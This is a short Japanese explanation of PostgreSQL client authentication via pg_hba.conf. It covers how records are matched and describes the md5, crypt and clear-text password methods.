PostgreSQLのクライアント認証は、pg_hba.confという構成ファイルを介して管理されます。このファイルには、接続タイプ、クライアントのIPアドレス範囲該当する場合、データベース名、ユーザー名、および一致する接続に使用する認証方法を指定するレコードのシリーズが含まれています。接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザー名に一致する最初のレコードが認証に使用されます。認証に失敗した場合、フォールバックやバックアップはありません。一致するレコードがない場合、アクセスは拒否されます。

pg_hba.confで利用可能なパスワードベースの認証方法はmd5crypt、およびpasswordです。これらの方法は、パスワードの送信方法で異なりますMD5ハッシュ化、crypt暗号化、またはクリアテキスト。重要な点として、cryptメソッドはpg_authidで暗号化されたパスワードとは使用できないことに注意する必要があります。